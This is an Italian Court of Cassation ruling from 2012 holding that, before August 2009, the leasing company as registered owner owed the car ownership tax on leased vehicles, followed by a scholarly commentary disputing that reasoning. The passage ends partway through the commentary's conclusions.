19 Dicembre, 2013

Imposte e tasse – Tasse automobilistiche – Tassa automobilistica sugli autoveicoli acquistati in leasing – Soggetto passivo di imposta – È il proprietario risultante al P.R.A. – Art. 7 della legge n. 99/2009 – Soggettività passiva in capo all’utilizzatore – Sussiste, ma solo con decorrenza dal 15 agosto 2009 – Retroattività di tale disposizione – Esclusione.

In tema di tassa automobilistica, l’art. 5, comma 32, del D.L. 30 dicembre 1982, n. 953 (convertito, con modificazioni, dalla legge 28 febbraio 1983, n. 53), prevedeva che fossero tenuti al pagamento del tributo tutti coloro i quali risultassero, dal pubblico registro automobilistico, proprietari del veicolo, con la conseguenza che, nel caso di autoveicolo concesso in locazione finanziaria, il soggetto passivo risultava il proprietario e concedente anziché l’utilizzatore, essendo quest’ultimo titolare di un diritto relativo di godimento del bene oggetto di leasing, e l’art. 7, secondo comma, della legge 23 luglio 2009, n. 99, che ha esteso la soggettività passiva tributaria anche agli utilizzatori dei veicoli a titolo di locazione finanziaria, opera solo a decorrere dalla data della sua entrata in vigore (15 agosto 2009), perché trattasi di previsione avente natura innovativa e sostanziale, non riferibile ai rapporti formatisi in epoca anteriore e non ancora esauriti.

[Corte di Cassazione, sez. trib. (Pres. D’Alonzo, rel. Virgilio), 21 marzo 2012, sent. n. 4507, ric. Leasint s.p.a. c. Agenzia delle entrate]

RITENUTO IN FATTO– 1. La Leasint s.p.a. propone ricorso per cassazione avverso la sentenza della Commissione tributaria regionale della Lombardia indicata in epigrafe, con la quale, accogliendo l’appello della Regione Lombardia, è stata affermata la legittimità di 2690 avvisi di accertamento emessi nei confronti di detta società a titolo di tassa automobilistica dovuta per l’anno 2004 in relazione a veicoli concessi in leasing.

Il giudice d’appello ha ritenuto che il presupposto della tassa, per l’anno in contestazione, è la titolarità del diritto di proprietà o di altro diritto reale di godimento sul veicolo, come risulta sia dall’art. 5, comma 32, del d.l. n. 953 del 1982 (convertito nella legge n. 53 del 1983), sia dall’art. 39 della legge della Regione Lombardia n. 10 del 2003. Ha, poi, negato che l’art. 7 della legge n. 99 del 2009, il quale ha aggiunto, tra i soggetti tenuti al pagamento della tassa, “gli utilizzatori a titolo di locazione finanziaria”, abbia natura interpretativa, e quindi effetto retroattivo, anziché innovativa.

2. La Regione Lombardia resiste con controricorso, illustrato da memoria.

[- protetto-]

CONSIDERATO IN DIRITTO– 1. Con il primo motivo, la ricorrente denuncia violazione e falsa applicazione dell’art. 5, comma 32, del d.l. n. 953 del 1982 (convertito in legge n. 53 del 1983), dell’art. 94, comma 7, del d.lgs. n. 285 del 1992 (Codice della strada) e dell’art. 39 della legge della Regione Lombardia n. 10 del 2003, nonché vizio di motivazione, ed insiste nella tesi secondo la quale, nel caso in cui un autoveicolo sia concesso in leasing, il soggetto passivo della tassa automobilistica deve individuarsi non nella società proprietaria-concedente, bensì nel soggetto utilizzatore, che ha la effettiva disponibilità del mezzo.

Con il secondo ed ultimo motivo, è denunciata la violazione dell’art. 7, comma 2, della legge 23 luglio 2009, n. 99, nonché vizio di motivazione, nella parte in cui il giudice a quo ha negato l’applicabilità di tale ius superveniens (il quale, come detto sopra, ha aggiunto, tra i soggetti passivi della tassa in esame, tra gli altri, gli “utilizzatoli a titolo di locazione finanziaria”), nonostante la sua natura procedimentale, ai rapporti formatisi in epoca anteriore alla sua entrata in vigore, ma non ancora esauriti.

2. Il ricorso, i cui motivi, per la loro stretta connessione, possono essere esaminati congiuntamente, è infondato.

Questa Corte, infatti, ha già avuto occasione di esaminare identica questione [Cass. n. 3928 del 2011 (1), nonché, in senso conforme, Cass. nn. 8589(2) e 10587 (3) del 2011] ed ha affermato i seguenti principi, che il Collegio pienamente condivide.

L’art. 5, comma 32, del d.l. n. 953 del 1982 (convertito nella legge n. 53 del 1983) prevedeva che tenuti al pagamento della tassa in oggetto fossero coloro i quali risultassero, dal pubblico registro automobilistico, proprietari del veicolo in esso iscritto, con la conseguenza che il soggetto passivo del tributo andava ineludibilmente identificato in funzione della titolarità del diritto di proprietà sul veicolo (o, in base alla legge della Regione Lombardia n. 10 del 2003, di altro diritto reale di godimento), in base alle risultanze del pubblico registro automobilistico [il quale, peraltro, pone solo una presunzione relativa, che può essere vinta da idonea prova contraria: Cass. nn. 10794 del 1997 (4), 7958 del 1999 (5), 10011 del 2006 (6)].

La lettera della legge porta, quindi, a ritenere che, in ipotesi di autoveicolo concesso in locazione finanziaria (leasing), soggetto passivo della tassa di possesso debba necessariamente essere considerato nella vigenza del testo originario della norma medesima – il proprietario/concedente e non l’utilizzatore, titolare di un diritto (relativo) di godimento del bene, in virtù del rapporto, avente effetti obbligatori, nascente dal contratto stipulato. A nulla rileva, in contrario, il fatto che l’art. 94 del d.lgs. n. 285 del 1992 (nel testo sostituito dall’art. 17 della legge n. 449 del 1997) prevede l’obbligo, nei casi di trasferimento della proprietà, di costituzione di usufrutto o di stipulazione di locazione finanziaria, di trascrivere il trasferimento o gli altri mutamenti, giacché la ratio di tale disposizione non è quella di individuare il soggetto passivo della tassa, bensì quella di poter identificare il soggetto su cui gravano le sanzioni amministrative derivanti dalla violazione delle disposizioni del codice della strada, nonché di facilitare il danneggiato nell’identificazione del corresponsabile solidale in caso di sinistro stradale secondo quanto dispone l’art. 91, commi 2 e 4, del medesimo d.lgs. n. 285 del 1992.

Infine, quanto alla modifica apportata al citato art. 5 del d.l. n. 953 del 1982 (convertito nella legge n. 53 del 1983) dall’art. 7, comma 2, della legge n. 99 del 2009, il quale ha aggiunto, nel novero dei soggetti passivi del tributo de quo, gli “usufruttuari, acquirenti con patto di riservato dominio, ovvero utilizzatori a titolo di locazione finanziaria”, è agevole osservare che la norma, non avendo natura né interpretativa (come la stessa ricorrente riconosce), né “procedimentale”, bensì innovativa e sostanziale, ha esteso solo a decorrere dalla sua entrata in vigore (15 agosto 2009) la soggettività passiva tributaria agli utilizzatori degli autoveicoli concessi in leasing.

3. In conclusione, il ricorso deve essere rigettato.

4. Le spese seguono la soccombenza e sono liquidate in dispositivo.

P.Q.M. – La Corte rigetta il ricorso e condanna la ricorrente alle spese del presente giudizio di cassazione, che liquida in . 15.200,00, di cui . 200,00 per esborsi, oltre spese generali ed accessori di legge.

(1) Cass. 17 febbraio 2011, n. 3928, in Boll. Trib. On-line.

(2) Cass. 14 aprile 2011, n. 8589, in Boll. Trib. On-line.

(3) Cass. 10 maggio 2011, n. 10587, in Boll. Trib. On-line.

(4) Cass. 4 novembre 1997, n. 10794, in Boll. Trib., 1998, 1738.

(5) Cass. 23 luglio 1999, n. 7958, in Boll. Trib. On-line.

(6) Cass. 28 aprile 2006, n. 10011, in Boll. Trib., 2006, 1809.

 

La proprietà del veicolo alla luce del principio di autonomia del diritto tributario

(in tema di rilevanza della locazione finanziaria del veicolo ai fini del pagamento delle tasse automobilistiche)

1. Premessa

L’annotata sentenza afferma la regola per cui, per il periodo antecedente alla data di entrata in vigore della legge 23 luglio 2009, n. 99, il pagamento del c.d. bollo-auto spetta alla società di leasing e non al locatario. La questione, dunque, è definitivamente (ancorché, opinabilmente) chiusa.

Se, per il periodo successivo a tale data, valga senz’altro la regola inversa, è cosa da verificare: questa si direbbe, prima facie, la “finalità” della nuova legge; ma una diversa regola potrebbe essere ricavata, sulla scorta dello stesso criterio che ha ispirato la decisione in commento.

La controversia, che ne ha formato oggetto, pertanto appare degna di interesse non solo in sé, per come erroneamente appare impostato il giudizio che la ha definita, ma anche in vista di tutte le sue possibili implicazioni future, per come, altrettanto erroneamente, possano essere prospettate.

La relativa vicenda giudiziaria trae origine dall’invio di ben 2690 avvisi di accertamento a carico di una società di leasing, per mancato pagamento della tassa automobilistica (dell’anno 2004) in relazione a veicoli concessi in locazione finanziaria.

La Suprema Corte conferma la decisione della Commissione tributaria regionale della Lombardia ribadendo la correttezza delle ragioni addotte a fondamento di essa, dalle quali scaturirebbe, in modo del tutto lineare, la responsabilità tributaria, in qualità di proprietario dei veicoli in questione, della società ricorrente.

Tali ragioni si compendiano: 1) nella chiara lettera dell’art. 5, comma 32, del D.L. 30 dicembre 1982, n. 953 (convertito, con modificazioni, dalla legge 28 febbraio 1983, n. 53),che, nella versione anteriore alla modifica poi apportata, «prevedeva che tenuti al pagamento della tassa in oggetto fossero coloro i quali risultassero, dal pubblico registro automobilistico, proprietari del veicolo in esso iscritto»; 2) nella inapplicabilità dell’art. 7, secondo comma, della legge n. 99/2009, che, per la sua natura «innovativa e sostanziale, ha esteso solo a decorrere dalla sua entrata in vigore (15 agosto 2009) la soggettività passiva tributaria agli utilizzatori degli autoveicoli concessi in leasing».

Per cercare di comprendere l’esatta portata della decisione, pare opportuno rammentare l’orientamento giurisprudenziale ormai consolidato in materia di tasse automobilistiche, secondo cui le risultanze del Pubblico Registro Automobilistico (P.R.A.) abbiano valenza di mera presunzione semplice, superabile con ogni mezzo di prova (1); con la conseguenza che il proprietario “apparente” che abbia venduto il veicolo con atto non trascritto possa far emergere la reale situazione giuridica e far ricadere l’onere economico del tributo sull’acquirente, in quanto ne sia proprietario “effettivo” (2).

In considerazione di ciò e tenuto conto di come la vicenda in oggetto sia (non diversamente) connotata dalla “cessione” dei veicoli, ci si potrebbe chiedere se il principio affermato dalla Suprema Corte sia, o meno, valevole sotto entrambi i profili: se, cioè, porti ad escludere la responsabilità tributaria del locatario verso il fisco, ovvero anche verso la società di leasing. In questo secondo caso, la decisione avrebbe una valenza ancora più incisiva, eliminando la possibilità stessa della rivalsa (3), seppure limitatamente all’ipotesi (residuale) in cui l’obbligo del pagamento del bollo-auto non fosse già stato convenzionalmente addossato al locatario (4).

Tuttavia la stessa possibilità di diversificare le due posizioni potrebbe essere messa in discussione, in quanto ché siano in gioco diritti di diversa natura – la proprietà (acquisita in forza di un contratto di vendita) e il diritto di utilizzare il veicolo (acquisito in forza di un contratto di locazione finanziaria) – mentre la lettera dell’art. 5 del D.L. n. 953/1982 (nella sua versione originaria) fa riferimento esclusivo a chi, dal pubblico registro, risulti “proprietario”. In questa ottica restrittiva, l’orientamento giurisprudenziale citato avrebbe, soltanto, potuto consentire di dimostrare che proprietario del veicolo fosse stato Tizio piuttosto che Caio (“intestatario”), non già che Tizio ne avesse avuto la effettiva disponibilità (in qualità di locatario).

La motivazione della decisione in commento, sostanzialmente, basata sulla versione strettamente letterale del D.L. n. 953/1982 (cioè, strettamente ancorata al riferimento al diritto di proprietà), lascia, senz’altro, propendere in questa direzione, nella misura in cui si ammetta che la successiva legge n. 99/2009, nell’estendere la soggettività passiva del tributo, ne abbia, corrispondentemente, esteso il presupposto (5). Qualora, cioè, si debba ritenere che, per il periodo pregresso (quale, l’anno 2004 in contestazione), la sola (effettiva) proprietà costituisse il presupposto dell’imposta, il proprietario (nella specie, la società di leasing) non potrebbe accampare pretese nei confronti di chi (nella specie, il locatario) abbia avuto, ad altro titolo, la disponibilità del veicolo.

Tuttavia questa preclusione desunta dalla classificazione del diritto sul veicolo – attinente, cioè, al dato formalistico (che riporta alla qualificazione giuridica di un fenomeno della vita economico-sociale) – non appare consona all’istituto delle “tasse automobilistiche”, che, pur nella sua evoluzione storica, rivela il suo inscindibile collegamento con la circolazione del veicolo stesso – attinente, cioè, al dato sostanzialistico (che riporta al sostrato economico-sociale della imposizione). In questa ottica la prova contraria potrebbe essere diretta a fare emergere la situazione di effettiva disponibilità del veicolo, seppure a titolo di locazione finanziaria, e nondimeno rilevante agli effetti tributari.

Lo stesso schema giurisprudenziale – proprietario “apparente” (intestatario) = responsabile di imposta, obbligato verso l’Amministrazione finanziaria; proprietario “effettivo” = debitore di imposta, obbligato, in via di rivalsa, verso l’intestatario adempiente – si richiama alla sentenza n. 164/1993 della Corte Costituzionale, che, nell’indirizzare ad una interpretazione costituzionalmente orientata dell’art. 5 del D.L. n. 953/1982, aveva individuato il presupposto di imposta «nella proprietà o nel possesso». A dire il vero, la vicenda in esame pone l’interrogativo se possa considerarsi presupposto di imposta anche la “detenzione qualificata” di cui gode il locatario; tuttavia, lo sviluppo di cui è suscettibile tale fondamentale decisione porta ad includervi anche tale ulteriore situazione giuridica(6).

Lo schema dianzi rammentato potrebbe, perciò, conservare la sua validità anche in riferimento alla vicenda in esame. Cosicché la decisione della Suprema Corte si presta ad essere esaminata secondo entrambe le prospettive, per verificare, in ultima analisi, se la diversa natura (reale o personale) del diritto vantato sui veicoli possa realmente ritenersi decisiva, tanto da comportare – a fronte di situazioni sostanzialmente identiche (ad esempio, la società di leasing che conceda l’immediata utilizzazione del veicolo, destinato al riscatto in proprietà col versamento di un corrispettivo pari al costo residuo; e la società concessionaria di case costruttrici che accordi finanziamenti per l’acquisto immediato dei propri veicoli) – un trattamento tributario differenziato; conseguenza, questa, che non appare scontata.

In sostanza, si vorrebbe evidenziare come il diritto di proprietà (come tale), sia da un punto di vista meramente formale, sia da un punto di vista prettamente contenutistico, non risponda, se non mediatamente e strumentalmente, alle esigenze che presiedono alla riscossione delle tasse automobilistiche.

2. Il proprietario “apparente” come responsabile di imposta

Il D.L. n. 953/1982 ha introdotto il principio per cui è tenuto al pagamento delle tasse automobilistiche chi risulti, dal pubblico registro, proprietario del veicolo.

Tale innovazione risponde, evidentemente, all’esigenza di assicurare effettivamente la percezione della corrispondente entrata (7); ma, ha pure dato causa all’insorgenza di un problema di sospetta costituzionalità di essa (8).

neppure la lettura costituzionalmente orientata, scaturita da una sentenza interpretativa di rigetto, era stata ritenuta pienamente soddisfacente: se, per quanto concerne l’aspetto attinente il soggetto passivo, al proprietario “apparente” (“intestatario” nel Pubblico Registro Automobilistico) viene opportunamente consentito di dimostrare chi sia il proprietario “effettivo” (9), invece, per quanto concerne l’aspetto attinente il presupposto di imposta, il collegamento con una situazione economica realmente rivelatrice di capacità contributiva resterebbe compromesso (10).

Rimandando la disamina del secondo aspetto, si intende sviluppare, qui, la tematica inerente al primo e sottolineare che sia stato semplicemente predisposto (a vantaggio, ovviamente, del fisco e al fine di agevolare le operazioni di riscossione) un sistema legale per individuare la persona dell’obbligato (11).

Una volta stabilito che tale sistema dovesse attuarsi,  per evidenti esigenze di certezza pubblica, tramite le risultanze di un pubblico registro, era giocoforza fare riferimento a quelle posizioni giuridiche che in tale registro trovino espressione. Poiché il Pubblico Registro Automobilistico è lo strumento per attuare l’istituto della “trascrizione mobiliare”, è (principalmente, se non essenzialmente) la proprietà la situazione giuridica referente sulla quale l’Amministrazione finanziaria può fare legittimo affidamento per iniziare le operazioni di recupero dell’imposta; ma, non solo e non tanto, per l’intrinseco contenuto di questo diritto, bensì perché rappresenta il “tramite” per giungere ad identificare una persona, possibile soggetto passivo (rectius, secondo la giurisprudenza di legittimità, responsabile di imposta).

La titolarità del diritto di proprietà, quindi, non dovrebbe essere enfatizzata, in quanto il soggetto tenuto a rispondere nei confronti del fisco è tale, essenzialmente, perché “risulta dal registro”, perché, cioè, “intestatario”.

Se questa notazione è sensata, si deve, conseguentemente, rimarcare che – ex art. 91, primo comma, del D.Lgs. 30 aprile 1992, n. 285 (“Codice della strada”) (12)  – intestatario è anche il locatario: anche tale soggetto, quindi, può fungere da “responsabile di imposta” ed essere tenuto al pagamento di questa nei confronti del fisco.

La Suprema Corte replica che l’obbligo di annotare la locazione finanziaria abbia la mera finalità di facilitare l’individuazione del soggetto responsabile di illeciti civili e amministrativi connessi alla circolazione del veicolo e che, pertanto, non ne risulterebbe infirmata l’interpretazione letterale del D.L. n. 953/1982, che riconnette, fuor di dubbio, l’obbligo tributario in capo al “proprietario”.

Ma (nella specie), che l’interpretazione letterale possa considerarsi concludente e che, correlativamente, possa escludersi la natura interpretativa della legge n. 99/2009, è seriamente dubitabile.

Basti considerare, all’opposto, come l’art. 17 della legge 27 dicembre 1997, n. 449, cioè la disposizione che aveva introdotto (comma 18) il nuovo testo dell’art. 94 del D.Lgs. n. 285/1992, che, a sua volta, ribadiva l’obbligo di annotare la locazione con facoltà di acquisto nell’ambito di una disciplina più articolata, fosse testualmente rubricato «disposizioni tributarie in materia di veicoli» (13). Del resto, la possibile valenza “tributaria” di tale disposizione già si poteva considerare conforme alle direttive contenute nella legge-delega sulla cui base era stato emanato il D.Lgs. n. 285/1992 (14).

Naturalmente la Suprema Corte può “liberamente” (ovverosia, nei limiti delle regole dell’interpretazione) opinare che non tutte le disposizioni introdotte da quella legge abbiano natura tributaria e, in particolare, che la specifica disposizione in questione sia semplicemente preposta alla individuazione del soggetto responsabile degli illeciti commessi in occasione della circolazione del veicolo. Ma, così facendo, nello stesso momento in cui mostra di attenersi (ritenendola sufficiente criterio ermeneutico) all’applicazione letterale della legge, in realtà, fa opera di interpretazione sistematica (15). Ne consegue che, se la Suprema Corte può benissimo procedere in tal modo, non può, proprio in ragione di tale fatto obiettivo e innegabile, logicamente (e, giuridicamente) escludere, a priori, la possibile valenza interpretativa della successiva legge n. 99/2009 (16), che si raccorda proprio a quel contesto normativo (17).

Si direbbe, anzi, che sostenere l’estraneità del locatario rispetto all’obbligo tributario sulla base di un’interpretazione letterale della legge (essenzialmente, del D.L. n. 953/1982) – interpretazione letterale, come si è visto, già ritenuta insoddisfacente dalla giurisprudenza costituzionale (per quanto concerne l’individuazione del soggetto passivo) – potrebbe risolversi in una prospettiva limitata e fuorviante.

Può, quindi (sulla base di una diversa interpretazione sistematica), sostenersi che la norma, esplicitata dal legislatore per quanto concerne la responsabilità civile (18) e amministrativa (19) derivante dalla circolazione dei veicoli, secondo cui sia responsabile, in via principale, colui che ne disponga in concreto, sia immanente nel sistema e “valida” anche sotto il profilo tributario; e, conseguentemente, che la legge n. 99/2009 abbia natura interpretativa.

In tale ottica non può negarsi l’evidente parallelismo terminologico e procedimentale tra le disposizioni che regolano i diversi risvolti che presenta la circolazione stradale; il che appare sintomatico di un apprezzamento parimenti unitario, rispetto al quale rappresenterebbe un controsenso considerare, solo nelle tasse automobilistiche, unico ed esclusivo responsabile il proprietario.

Un regime differenziato (in quanto limitato alla persona del proprietario) potrebbe essere sostenibile, ove si ammetta che le “tasse automobilistiche” siano non più tasse di circolazione ma tasse di proprietà. La verifica di questo aspetto pare, dunque, preliminare e implica che venga preso in considerazione l’aspetto contenutistico del relativo presupposto di imposta.

3. Il proprietario “effettivo” come debitore di imposta

Prima di evidenziare quello che, verosimilmente, si prospetta come il fatto economico che determina l’assoggettamento al tributo, è prioritaria una precisazione terminologica, indotta dall’uso promiscuo della definizione di “tassa” e dell’applicazione di principi riguardanti, invece, l’“imposta”.

Come si è ricordato, la dottrina nutre perplessità sulla conformità della legislazione in materia di “bollo-auto” al principio della capacità contributiva e rileva come la Corte Costituzionale stessa, inopinatamente, tratti il tributo in esame alla stregua di una tassa. Per vero, l’ipotesi che tale tributo sia configurabile proprio come tassa deve essere presa in considerazione perché riproposta recentemente dalla stessa Suprema Corte (20). Ma, a parte altre difficoltà ricostruttive, la tesi riferita pare poco coerente con la disciplina dell’istituto: poiché la tassa è, comunemente, rapportata all’emissione di un provvedimento amministrativo e poiché questo, nella specie, pare identificabile nel rilascio della carta di circolazione (21), non si spiegherebbe, poi, come possa darsi l’interruzione dell’obbligo tributario per effetto di provvedimenti promananti da altre Autorità (22) oppure dipendenti da comportamenti (illeciti) di soggetti privati (23), e, soprattutto, concernenti una facoltà del titolare e non la condizione (“idoneità alla circolazione”) del veicolo in sé.

La previsione di eventi di tal fatta e capaci di inibire l’obbligo tributario, peraltro, rivela che essi sono incongruenti, non solo con il provvedimento che consente la circolazione del veicolo (nell’ottica della tassa), ma anche,  ciò che precipuamente rileva in questa sede, con il permanente diritto di proprietà sul veicolo stesso (nell’ottica di una imposta patrimoniale).

Lo spossessamento del veicolo, peraltro, pur non determinando l’estinzione del diritto di proprietà, dà luogo alla interruzione dell’obbligo tributario, allorché annotato nel Pubblico Registro Automobilistico e, secondo un orientamento più permissivo, anche in assenza di annotazione (24).

Si tende, così, ad ampliare il presupposto del tributo in oggetto, ravvisandolo nella proprietà e nel possesso cumulativamente (25). La locuzione “tassa di possesso” è, anzi, entrata nel linguaggio comune.

Non perciò, secondo l’orientamento prevalente della Corte di Cassazione, sarebbe possibile equiparare tale situazione di fatto a quella ascrivibile al locatario, titolare di un mero diritto personale (26), né, comunque, sarebbe possibile riconoscere ad essa una generalizzata valenza ai fini della interruzione dell’obbligo tributario,  fuori delle ipotesi, legislativamente previste, correlate ad eventi che il titolare, forzatamente, subisca (27).

Ma, tale conclusione negativa pare la risultante di una lettura distorsiva del testo di legge, sia per la sopravvalutazione della proprietà, quale fattore che fonda l’imposizione, sia per la svalutazione dello spossessamento quale fattore che lo elide.

Quanto alla natura della forma giuridica di appartenenza, non può sottacersi che la distinzione tra possesso (esercizio della posizione di proprietario) e detenzione qualificata (esercizio di posizione contrattuale) si attenua già nella dinamica della vita di relazione (28); per converso, il non tipizzato contratto di leasing giustifica l’applicazione analogica della disciplina della vendita con riserva della proprietà, quante volte ne sottenda un progressivo trasferimento “economico” (29).

Ma, soprattutto per quanto qui precipuamente interessa, non è il solo “spossessamento” (conseguente a fatto di terzi: furto, appropriazione indebita, etc.) a determinare l’inibizione dell’obbligo tributario, ma anche la mera “indisponibilità” (conseguente a provvedimento della Autorità amministrativa o giudiziaria: sequestro, fermo, etc.). Peraltro, anche a voler considerare la prima casistica, si deve rilevare che non è il possesso (civilisticamente inteso) ad essere oggetto di sottrazione, e, quindi, a giustificare l’interruzione dell’obbligo tributario (30).

Per altro verso, si ammette che il veicolo concesso in leasing possa essere sequestrato (31); si tratta di affermazione assai eloquente: è, quindi (a tale stregua), configurabile lo stesso evento che, qualora subito dal proprietario, possa dare luogo alla interruzione dell’obbligo tributario.

Riguardo agli eventi che determinano, in generale, la inutilizzabilità del veicolo occorre prendere atto, una volta correttamente ricondotte le casistiche di perdita di possesso nell’alveo, non già delle esenzioni, ma delle esclusioni di imposta (32), che essa rappresenta un fattore, di per sé, rilevante e, quindi, destinato ad escludere oggettivamente l’imposizione.

Non può, pertanto, accogliersi la tesi diretta a valorizzare lo spossessamento in ragione del fatto che lo determina; ovverosia, nella misura in cui sia dipendente da un fatto involontario (33).

Del resto dalla disciplina positiva della perdita di possesso non può ricavarsi (direttamente) un tale (ulteriore) significato; sicché, quella ora riportata pare una conclusione eccessiva: dalla delimitazione legislativa ai casi previsti si potrebbe, al più, e si tratterebbe, comunque, di una conclusione assai discutibile (34), dedurre che l’annotazione della perdita di possesso non sia consentita (analogicamente) in relazione ad altri e ulteriori eventi, ma, non certo, l’irrilevanza dello spossessamento (a fini tributari) in sé.

La rilevata delimitazione pare, infatti, il frutto di una scelta di politica legislativa che, nel presupposto di un riconosciuto ruolo fondante del possesso in materia di “tasse automobilistiche”, tenda ad estenderne la rilevanza a quei casi in cui non sia, altrimenti, possibile accertarne le vicende. L’annotazione della perdita di possesso, perciò, sembra sopperire a quelle situazioni in cui lo spossessamento, in quanto derivante da un “fatto”, non possa essere evidenziato nel Pubblico Registro Automobilistico attraverso la trascrizione (che, secondo la previsione del codice civile, riguarda “atti”), di talché, in difetto, sarebbe insuscettibile di pubblicità legale (e di accertamento da parte dell’Amministrazione finanziaria).

Quanto al contratto di locazione (con facoltà di acquisto) del veicolo questa difficoltà non si presenterebbe neppure, essendo la relativa annotazione prevista, in termini di obbligatorietà, dalla legge stessa; men che meno, di riflesso, sarebbe stato necessario escogitare l’annotazione di una perdita di possesso di pari contenuto.

Fatte queste opportune precisazioni, si apre il problema (interpretativo) di stabilire se lo “spossessamento” (rectius: “indisponibilità”) possa essere rilevante, in termini relativi, cioè all’effetto di determinare chi sia il soggetto tenuto al pagamento del tributo, anche se dipendente da un fatto volontario: problema che pare poter ricevere una soluzione positiva, in considerazione del fatto che l’obbligazione tributaria ha fonte legale (35); si apre, inoltre, il susseguente problema di stabilire se la indisponibilità conseguente alla concessione in leasing, pubblicizzata (non sotto forma di perdita di possesso, ma) attraverso la annotazione della locazione, sia idonea a determinare lo spostamento dell’obbligo tributario in capo all’utilizzatore: problema che, parimenti, pare poter ricevere una soluzione positiva, dato il valore di “pubblicità-notizia” dell’annotazione della locazione con facoltà di acquisto nel Pubblico Registro Automobilistico (36).

Gli argomenti addotti dalla giurisprudenza per negare la rilevanza tributaria della situazione di “spossessamento” (rectius, “indisponibilità”), qualora non sia ravvisabile in capo al proprietario del veicolo e fuori delle ipotesi previste sotto la dicitura “perdita di possesso”, non appaiono, dunque, concludenti.

Peraltro, dalla normativa di settore era già possibile desumere la rilevanza (tributaria) proprio dell’annotazione in discorso. Anche sotto questo profilo, quindi, non sembra potersi convenire con l’interpretazione letterale (e riduttiva) della Suprema Corte che trascura, inspiegabilmente, le innovazioni apportate con il citato art. 17, comma 18, della legge n. 449/1997.

Infatti, il nuovo testo dell’art. 94 del D.Lgs. n. 285/1992, introdotto da tale disposizione, dopo aver previsto (primo comma) anche l’annotazione della locazione con facoltà di acquisto, etc., prevedeva, conseguentemente (settimo comma), la possibilità di dimostrare, per sottrarsi alle procedure di recupero di imposta, la «cessazione dei relativi diritti»: non solo, quindi, della proprietà, il cui univoco riferimento appare, perciò, riduttivo e arbitrario, ma “i diritti”, sicché è da ritenere che ciascuno di essi avrebbe potuto dar causa all’insorgenza dell’obbligo tributario; e che, in quanto passibili di annotazione (nel Pubblico Registro Automobilistico) e rilevazione (tramite apposita “visura”) da parte della Amministrazione finanziaria procedente, potenzialmente potessero innescare le procedure di recupero di imposta.

Corrispondentemente, la portata retroattiva della legge n. 99/2009 appare pianamente sostenibile e maggiormente fondata anche a questo riguardo.

In definitiva, il riferimento al diritto di proprietà – in quanto normalmente comporti il potere di fatto sul bene che ne è oggetto – appare strumentale nell’economia del sotto-sistema “tasse automobilistiche” ad individuare (salva diversa annotazione e, comunque, salva prova contraria) la situazione giuridicamente rilevante agli effetti tributari (37).

3. Considerazioni conclusive

A)Presupposto e soggetti passivi di imposta nel periodo ante legge n. 99/2009

La precedente disamina era intesa ad evidenziare come, ad onta della lettera della legge, la situazione rilevante agli effetti tributari sia rappresentata dalla disponibilità del veicolo e come essa sia passibile di riscontro, attraverso le risultanze del Pubblico Registro Automobilistico, secondo un duplice meccanismo presuntivo: colui che figuri intestatario, si presume proprietario; e colui che figuri proprietario, si presume possessore.

La proprietà, pertanto (nell’una e nell’altra delle due prospettive esaminate), appare strumentale: l’unico denominatore comune appare essere la “disponibilità” del veicolo, che, tuttavia, non coincide necessariamente con tali situazioni (nell’accezione che le contraddistingue secondo il diritto civile).

A tale riguardo, si deve rammentare che nel diritto tributario i concetti privatistici assumono una connotazione autonoma, svincolandosi dal ramo di appartenenza per svolgere la funzione specifica di questo ramo del diritto (38).

Trattandosi di questione interpretativa, è, quindi, dalla disciplina legislativa di settore che occorre far capo per verificare il significato del riferimento all’istituto della proprietà.

E, da questa (per le considerazioni sopra esposte), sembra emergere che l’elemento determinante l’assoggettamento al tributo sia rappresentato, per l’appunto, dalla “disponibilità del veicolo”, intesa come possibilità di utilizzarlo secondo la sua destinazione tipica. E, nello stesso senso, depongono altre disposizioni, quali la interruzione dell’obbligo tributario per consegna del veicolo a rivenditore autorizzato (39) e il regime tributario della “circolazione di prova” (40). Per converso, non sembra che possa essere la proprietà, come tale, la ragione del tributo. Non si spiegherebbe, altrimenti, la sospensione dell’obbligo tributario in relazione ai veicoli temporaneamente esportati (41), la riduzione dell’obbligo tributario in relazione ai rimorchi appartenenti alla stessa impresa (42) e la non assoggettabilità al tributo dei veicoli d’epoca (43).

Nonostante il contrario avviso di autorevole dottrina (44), non appare, per tutto ciò, prospettabile un’imposta “patrimoniale”. Dall’esame della normativa di settore, pare invece doversi propendere per una imposta di natura “personale” (45) imperniata sulla partecipazione a quel particolare, ma importantissimo, settore della vita sociale (organizzato e regolamentato dallo Stato) rappresentato dalla circolazione stradale (46).

Non è infrequente, infatti, che l’imposizione – benché rapportata ad un determinato bene – colpisca una attività; fenomeno che trova la sua collocazione dogmatica nella distinzione tra presupposto e oggetto del tributo (47).

Tra le altre (TOSAP, IRAP, etc.) si può ascrivere a questo genere l’imposta di bollo (propriamente detta), la quale, anche se commisurata all’atto cartaceo (e, a differenza dell’imposta di registro, rivolta all’atto come operazione economica), colpisce l’attività giuridica del contribuente (48).

In questa ottica, il concetto di “disponibilità del veicolo” ha una valenza autonoma rispetto al diritto patrimoniale sul veicolo stesso, tanto è vero che il tipo di utilizzazione influisce sull’entità del tributo (49), in conformità, del resto, al principio secondo cui l’aliquota rappresenta una quota parte del bene che giustifica l’imposizione (50). E, quando l’utilizzazione avvenga ad opera di un soggetto diverso dal proprietario (così come nel caso in esame), è giocoforza riferire il predetto bene alla persona dell’utilizzatore; è il caso frequente, ad esempio, del veicolo adibito a taxi da parte del locatario (51). Diversamente opinando, risulterebbe intaccato il collegamento tra soggetto passivo e imposta (nel presupposto, indiscusso, che questa debba essere necessariamente rapportata alla capacità contributiva di quello).

Se, come prospettato, è sempre nella circolazione stradale (rectius, nella idoneità alla circolazione) che si deve ravvisare il presupposto delle “tasse automobilistiche” (52), ne discendono due corollari.

In primo luogo, se il presupposto di detto tributo è rimasto immutato e la legge n. 99/2009 ha esteso la soggettività passiva a nuovi soggetti – nuovi soggetti che, in forza del diritto di cui sono titolari, abbiano la facoltà di utilizzare il veicolo – si dovrebbe concludere che quella legge abbia natura interpretativa, in quanto l’ascrivibilità dell’obbligo a quei soggetti già rientrava nel possibile significato della legge preesistente (rectius, della norma anteriore risultante dal combinato disposto del D.L. n. 953/1983 e della legge n. 449/1997) (53).

